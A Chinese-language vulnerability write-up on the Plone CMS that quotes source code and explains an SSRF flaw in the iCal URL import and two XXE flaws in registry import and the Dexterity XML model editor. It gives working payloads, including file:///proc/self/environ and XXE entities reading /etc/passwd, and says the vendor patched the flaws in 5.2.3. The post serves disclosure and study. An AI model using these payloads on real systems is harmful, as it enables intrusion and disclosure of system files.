Plone
Plone是使用Python开发的一个开源的内容管理系统,安装的时候以第三方包的形式安装使用,三百个包左右的程序,这个查看起来查找对应功能实在是费劲。
SSRF
plone.app.event-3.2.7-py3.6.egg\plone\app\event\ical\importer.py
@button.buttonAndHandler(u'Save and Import')
def handleSaveImport(self, action):
data, errors = self.extractData()
if errors:
return False
self.save_data(data)
ical_file = data['ical_file']
ical_url = data['ical_url']
event_type = data['event_type']
sync_strategy = data['sync_strategy']
if ical_file or ical_url:
if ical_file:
# File upload is not saved in settings
ical_resource = ical_file.data
ical_import_from = ical_file.filename
else:
ical_resource = urllib.request.urlopen(ical_url).read()
ical_import_from = ical_url
import_metadata = ical_import(
self.context,
ics_resource=ical_resource,
event_type=event_type,
sync_strategy=sync_strategy,
)
如上所述,在读取参数 ical_url
时,根据程序设置是导入该事件的 icalendar
资源文件,但对如何读取资源文件没有限制,可以直接使用urllib包进行读取和返回
在Members功能下的Action
中选择Enable icalendar import
后,配置Icalendar URL
参数。
参数:http://127.0.0.1:22
,执行Save and Import
。
urllib还支持文件协议,因此也可以用于文件读取
参数: file:///proc/self/environ
XXE
plone.app.registry-1.7.6-py3.6.egg\plone\app\registry\browser\records.py
def import_registry(self):
try:
fi = self.request.form['file']
body = fi.read()
except (AttributeError, KeyError):
messages = IStatusMessage(self.request)
messages.add(u"Must provide XML file", type=u"error")
body = None
if body is not None:
importer = RegistryImporter(self.context, FakeEnv())
try:
importer.importDocument(body)
except XMLSyntaxError:
messages = IStatusMessage(self.request)
messages.add(u"Must provide valid XML file", type=u"error")
return self.request.response.redirect(self.context.absolute_url())
注意importDocument
方法,该方法在lxml.etree下调用该方法
plone.app.registry-1.7.6-py3.6.egg\plone\app\registry\exportimport\handler.py
class RegistryImporter(object):
"""Helper classt to import a registry file
"""
LOGGER_ID = 'plone.app.registry'
def __init__(self, context, environ):
self.context = context
self.environ = environ
self.logger = environ.getLogger(self.LOGGER_ID)
def importDocument(self, document):
tree = etree.fromstring(document)
if self.environ.shouldPurge():
self.context.records.clear()
i18n_domain = tree.attrib.get(ns('domain', I18N_NAMESPACE))
if i18n_domain:
parseinfo.i18n_domain = i18n_domain
for node in tree:
if not isinstance(node.tag, str):
continue
condition = node.attrib.get('condition', None)
if condition and not evaluateCondition(condition):
continue
if node.tag.lower() == 'record':
self.importRecord(node)
elif node.tag.lower() == 'records':
self.importRecords(node)
parseinfo.i18n_domain = None
此方法是此XXE的原因。 在网站设置Site Setup
下的Configuration Registry
中导出合适的XML文件。 在这里,选择了plone.thumb_scale_table.xml
前缀文件。
参数 POC:
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE value [
<!ELEMENT value ANY >
<!ENTITY title SYSTEM "file:///etc/passwd" >
]>
<registry>
<records interface="Products.CMFPlone.interfaces.controlpanel.ISiteSchema" prefix="plone">
<value key="thumb_scale_table">&title;</value>
</records>
</registry>
执行后,您可以在错误报告中看到已解析的XML实体。
XXE-2
plone.app.dexterity-2.6.5-py3.6.egg\plone\app\dexterity\browser\modeleditor.py
class AjaxSaveHandler(BrowserView):
"""Handle AJAX save posts.
"""
def __call__(self):
"""Handle AJAX save post.
"""
if not authorized(self.context, self.request):
raise Unauthorized
source = self.request.form.get('source')
if source:
# Is it valid XML?
try:
root = etree.fromstring(source)
except etree.XMLSyntaxError as e:
return json.dumps({
'success': False,
'message': 'XMLSyntaxError: {0}'.format(
safe_unicode(e.args[0])
)
})
# a little more sanity checking, look at first two element levels
if root.tag != NAMESPACE + 'model':
return json.dumps({
'success': False,
'message': _(u"Error: root tag must be 'model'")
})
for element in root.getchildren():
if element.tag != NAMESPACE + 'schema':
return json.dumps({
'success': False,
'message': _(
u"Error: all model elements must be 'schema'"
)
})
# can supermodel parse it?
# This is mainly good for catching bad dotted names.
try:
plone.supermodel.loadString(source, policy=u'dexterity')
except SupermodelParseError as e:
message = e.args[0].replace('\n File "<unknown>"', '')
return json.dumps({
'success': False,
'message': u'SuperModelParseError: {0}'.format(message)
})
上面的代码使用lxml库,但是直接解析xml中的外部参数。 结果,在功能 Dexterity Content Types
下选择 custom content types
,然后单击进入。 fields
标签下的Edit XML Field Model
可以直接编写xml代码。
参数 POC:
<!DOCTYPE value [<!ELEMENT value ANY ><!ENTITY title SYSTEM "file:///etc/passwd" > ]>
<model xmlns:i18n="http://xml.zope.org/namespaces/i18n" xmlns:marshal="http://namespaces.plone.org/supermodel/marshal" xmlns:form="http://namespaces.plone.org/supermodel/form" xmlns:security="http://namespaces.plone.org/supermodel/security" xmlns:users="http://namespaces.plone.org/supermodel/users" xmlns:lingua="http://namespaces.plone.org/supermodel/lingua" xmlns="http://namespaces.plone.org/supermodel/schema">
&title;<schema/>
</model>
因为程序代码中似乎存在问题,所以无法添加XML声明文件,但是打开的默认声明文件具有添加的声明文件。 需要删除。 保存参数,并在返回后单击此处查看它们。
问题相对利用条件较高,需要管理员权限,其后官方推出了更新版本5.2.3:https://dist.plone.org/release/5.2.3-pending/RELEASE-NOTES.txt